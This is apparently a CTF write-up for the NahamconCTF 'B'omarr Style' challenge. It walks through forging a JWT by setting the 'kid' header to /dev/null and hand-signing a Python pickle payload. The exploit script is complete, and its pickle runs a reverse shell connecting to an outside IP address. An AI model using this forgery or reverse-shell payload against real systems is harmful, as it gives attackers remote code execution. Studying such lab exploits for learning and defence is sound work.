# NahamconCTF-B'omarr Style Great challenge that deserved to write a walkthrough since I surely learnt a lot from it. Basically this challenge has these vulnerabilities to exploit * Valid JWT forgery * python pickle RCE ## finding information First we need to gather information and find out the exploit point.Of course I focus on the jwt cookie after I logged in. ![](https://i.imgur.com/GUQsg0z.png) ``` { "typ": "JWT", "alg": "HS256", "kid": "secret.txt" } ``` so we know that this is a HS256 encrypted jwt key and the key content is from secret.txt in the work dir. Besides, it's important to notice that the payload content of jwt is not decoded normally.Quite weird to see that cause we know that jwt encode header+payload plain text with base64. Luckily, i am familiar with the base64 format of python pickle opcode and normally the base64-encoded opcode that python3 generate starts with `gANj......` Or we can figure it out by ourselves with `xxd` ![](https://i.imgur.com/Woj5X58.png) So I assume that we should generate a valid jwt key with the vulnerable python pickle base64 content as payload.Then we should get a shell back. ## exploit Here comes the most difficult part for me. We are not able to get content from secret.txt,and absolutely it is designed to be unbrutable. But we are able to control the header of jwt and change the kid part.That being said,we can select any file content that is readable on the box to be the secretkey of our jwt cookie. At first I tried to find a static content but this challenge only have html,images to be the static files. Additionally, this is python so the html content must have jinja code inside that we can't find out. So I turned to those files on the machine. After all these trying,I find `/dev/null`to be the file I want cause the response of my changing cookie is not `Invalid signature`.And the content of `/dev/null` is NUll so we can generate payload in this way. ```python import jwt headers={ "typ": "JWT", "alg": "HS256", "kid": "/dev/null" } payload={} token=jwt.encode(payload,'',algorithm="HS256",headers=headers).decode('utf-8') print(token) ``` However,this time another error occured. ![](https://i.imgur.com/9SJ1AER.png) After searching this error, I find out this is a error caused by pickle. So luckily we bypass the auth of jwt, but now we need to generate a valid jwt key. Of course we can't send the original pickle opcode to the jwt payload cause PYJWT only supports dict object.(Neither have I encounterd such condition). At last ,I decided to search how the signature was genarated by 'HS256' algo. Then it turned out to be this way ```python key = 'secretkey' unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload) signature = HMAC-SHA256(key, unsignedToken) ``` So I can generate my own jwt key by myself! Let's get it done. exp: ```python import pickle import os import base64 from hashlib import sha256 import hmac class exp(object): def __reduce__(self): s = """python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.27.246.202",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """ return (os.system, (s,)) e = exp() payload=base64.urlsafe_b64encode(pickle.dumps(e)).decode('utf-8') #print(payload) key = "".encode('utf-8') data =("eyJraWQiOiIvZGV2L251bGwiLCJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."+payload).encode('utf-8') #print(data) signature = base64.urlsafe_b64encode(hmac.new(key,data,digestmod=sha256).digest()) #print(signature) print(data.decode()+'.'+signature.decode().rstrip('=')) ``` Importantly, I noticed that the base64 content never has `/` ,`=`inside.And due to this rule, I use `base64.urlsafe_b64encode` +`rstrip("=")`instead of simply using `b64encode` to get a valid result. Also this challenge doesnt't have `nc`,`wget`,`curl` installed. So after lots of trying I use the python reverse shell payload. (Actually I forgot bash :( ) Then change our cookie and refresh the page.Now we can get a shell back. ![](https://i.imgur.com/Gr75BZ8.png) flag `flag{all_that_just_for_a_pickle}`